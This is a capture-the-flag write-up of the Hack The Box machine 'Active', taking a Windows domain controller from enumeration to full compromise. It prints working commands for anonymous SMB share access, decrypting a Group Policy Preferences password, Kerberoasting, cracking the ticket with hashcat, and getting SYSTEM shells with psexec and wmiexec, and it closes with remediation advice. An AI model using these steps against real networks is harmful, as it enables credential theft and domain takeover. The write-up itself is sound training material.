CPTS Prep - Active - Windows Easy

Active is a retired Windows Active Directory box on Hack The Box, and it is a great introduction to two of the most common real world AD attacks: GPP password extraction and Kerberoasting. Here is how I worked through it from initial scan to root.

Initial Enumeration

I started with a standard Nmap scan against the target.

sudo nmap -sC -sV 10.129.64.89
Nmap scan report for 10.129.64.89
Host is up (0.18s latency).
Not shown: 983 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-31 08:12:50Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-08-31T08:13:48
|_  start_date: 2026-08-31T08:07:12

The results made it obvious this was a Windows domain controller. Ports 53, 88, 135, 139, 389, 445, 464, 593, and 3268 were all open, which is the classic fingerprint of Active Directory: DNS, Kerberos, RPC, SMB, LDAP, and the Kerberos password change service. The service info also revealed the domain name, active.htb, and the hostname DC, running Windows Server 2008 R2.

First thing I did was add active.htb and DC.active.htb to /etc/hosts so name resolution would work properly for the rest of the enumeration.

Trying a Zone Transfer

Since DNS was open, I tried a zone transfer to see if the server would just hand over the whole DNS zone.

dig axfr active.htb @10.129.64.89
; <<>> DiG 9.18.39-0ubuntu0.24.04.6-Ubuntu <<>> axfr active.htb @10.129.64.89
;; global options: +cmd
; Transfer failed.

No luck there, the transfer was refused, which is expected on a properly configured server. I also tried an ANY query just to see what would come back.

dig any active.htb @10.129.64.89
; <<>> DiG 9.18.39-0ubuntu0.24.04.6-Ubuntu <<>> any active.htb @10.129.64.89
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: FORMERR, id: 36708
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 1d2159a0e6579bd2 (echoed)
;; QUESTION SECTION:
;active.htb.			IN	ANY

;; Query time: 204 msec
;; SERVER: 10.129.64.89#53(10.129.64.89) (TCP)
;; WHEN: Mon Aug 31 10:19:51 CEST 2026
;; MSG SIZE  rcvd: 51

That did not turn up anything useful either. Not every attempt pays off, and that is fine, it just means moving on to the next avenue.

Enumerating SMB and LDAP

Next I ran enum4linux-ng against the domain to get a fuller picture of what was exposed.

python3 enum4linux-ng.py active.htb -A

The scan confirmed the domain controller allowed a null SMB session, meaning I could authenticate with a blank username and password.

 ======================================
|    RPC Session Check on active.htb    |
 ======================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE

Through that null session, enum4linux-ng enumerated the available shares:

 ====================================
|    Shares via RPC on active.htb    |
 ====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
  comment: Remote Admin
  type: Disk
C$:
  comment: Default share
  type: Disk
IPC$:
  comment: Remote IPC
  type: IPC
NETLOGON:
  comment: Logon server share
  type: Disk
Replication:
  comment: ''
  type: Disk
SYSVOL:
  comment: Logon server share
  type: Disk
Users:
  comment: ''
  type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[+] Mapping: OK, Listing: DENIED
[*] Testing share NETLOGON
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share Replication
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share Users
[+] Mapping: DENIED, Listing: N/A

Most of these came back access denied for an anonymous session, but the Replication share stood out, allowing both mapping and listing with no credentials at all. That is unusual and worth digging into.

Finding Groups.xml

Poking around inside the Replication share with smbclient, I found a Groups.xml file sitting inside a Group Policy path and pulled it down.

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\groups\> ls
  .                                   D        0  Sat Jul 21 12:37:44 2018
  ..                                  D        0  Sat Jul 21 12:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 22:46:06 2018

		5217023 blocks of size 4096. 279156 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\groups\> get groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\groups\groups.xml of size 533 as groups.xml (0.6 KiloBytes/sec) (average 2.0 KiloBytes/sec)

Anyone who has spent time around Active Directory security will recognize that path immediately. Groups.xml is where Group Policy Preferences stores local account and credential settings, and for years administrators used this feature to push out passwords to machines across a domain. The problem is that Microsoft encrypted those passwords with a static AES key that was published in their own documentation, which means the encryption offers essentially no protection at all. Microsoft patched the tools that create these files back in 2014, but any file left over from before the patch, or created without the fix, is still fully readable by anyone who can reach it.

Inside the file was an encrypted cpassword value tied to an account called active.htb\SVC_TGS.

Decrypting the Password

To pull the plaintext out I used gpp-decrypt, which already knows the static Microsoft key and just runs standard AES decryption against the blob.

gpp-decrypt -f ~/Tools/Enum4Linux/enum4linux-ng/groups.xml
[ • ] GPP-Decrypt v2.0.0 - Group Policy Preferences Password Decryptor
[ • ] Author: Kristof Toth (@t0thkr1s)

[ • ] Processing file: /home/r3v/Tools/Enum4Linux/enum4linux-ng/groups.xml
[ ✓ ] Found 1 credential(s)

═══ Credential #1 ═══
[ • ] Type: User Account
[ • ] Username: active.htb\SVC_TGS
[ ✓ ] Password: [REDACTED]

That gave me a working password for the SVC_TGS account. The username itself was a strong hint about what to try next. TGS is short for Ticket Granting Service, the part of Kerberos that issues service tickets, and an account with that kind of name is often tied to a Service Principal Name, which opens the door to Kerberoasting.

Kerberoasting the Administrator Account

With valid credentials for SVC_TGS in hand, I used Impacket's GetUserSPNs script to look for accounts in the domain that have an SPN registered, and to request a Kerberos service ticket for any that I find.

python3 GetUserSPNs.py -dc-ip 10.129.64.89 active.htb/SVC_TGS -request
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2026-08-31 10:08:08.096135

[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$dab929cd...[truncated]...b993bb9f7068

The output showed that the Administrator account itself had an SPN registered, active/CIFS:445, and it was a member of the Group Policy Creator Owners group. Because Kerberos will issue a service ticket for any account with a registered SPN to any authenticated user, I was handed a TGS ticket encrypted with a hash derived from the Administrator's password. That ticket is exactly what you need for an offline Kerberoasting attack.

I saved the ticket and ran it through hashcat using mode 13100, which targets Kerberos 5 TGS-REP tickets, against the rockyou wordlist.

hashcat -m 13100 -w 3 -O -D 1 activepwn.txt ~/Wordlists/rockyou.txt
Hashes: 1 digests; 1 unique digests, 1 unique salts
...
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...9f7068
Time.Started.....: Mon Aug 31 14:33:48 2026 (5 secs)
Time.Estimated...: Mon Aug 31 14:33:53 2026 (0 secs)
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10545156/14344384 (73.51%)

Within a few seconds, hashcat cracked it, recovering the Administrator's password in plaintext.

Getting a Shell

With full Administrator credentials for the domain, I used Impacket's psexec.py to get a shell on the domain controller.

psexec.py active.htb/Administrator:'[REDACTED]'@10.129.64.89
[*] Requesting shares on 10.129.64.89.....
[*] Found writable share ADMIN$
[*] Uploading file ICPpgzGW.exe
[*] Opening SVCManager on 10.129.64.89.....
[*] Creating service ApZY on 10.129.64.89.....
[*] Starting service ApZY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

This uploaded a service binary over SMB, registered it as a Windows service, and started it, dropping me into a SYSTEM level shell on the DC. From there I was able to read the root flag right away.

Grabbing the user flag turned out to be slightly trickier. The psexec shell would not let me navigate into the SVC_TGS user's desktop folder, so I switched to wmiexec.py instead, which uses WMI rather than a dropped service binary and behaves a little differently with file system access.

sudo python3 wmiexec.py active.htb/Administrator:'[REDACTED]'@10.129.64.89
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is 15BB-D59C

 Directory of C:\

14/07/2009  06:20    <DIR>          PerfLogs
12/01/2022  04:11    <DIR>          Program Files
21/01/2021  07:49    <DIR>          Program Files (x86)
21/07/2018  05:39    <DIR>          Users
31/08/2026  03:59    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)   1.143.156.736 bytes free

From there, a simple walk through the file system got me to the flag.

C:\>cd Users
C:\Users>cd SVC_TGS
C:\Users\SVC_TGS>cd Desktop
C:\Users\SVC_TGS\Desktop>type user.txt

Takeaways

Active is a good reminder that some of the most damaging vulnerabilities in enterprise networks are not exotic exploits, they are leftover misconfigurations. A single old Groups.xml file sitting in a share that should never have allowed anonymous access led directly to a Kerberoastable Administrator account and full compromise of the domain controller. The fix here is straightforward: remove any legacy GPP-based credentials from SYSVOL, lock down anonymous SMB access, and make sure high privilege accounts are not carrying SPNs unless they absolutely need to be.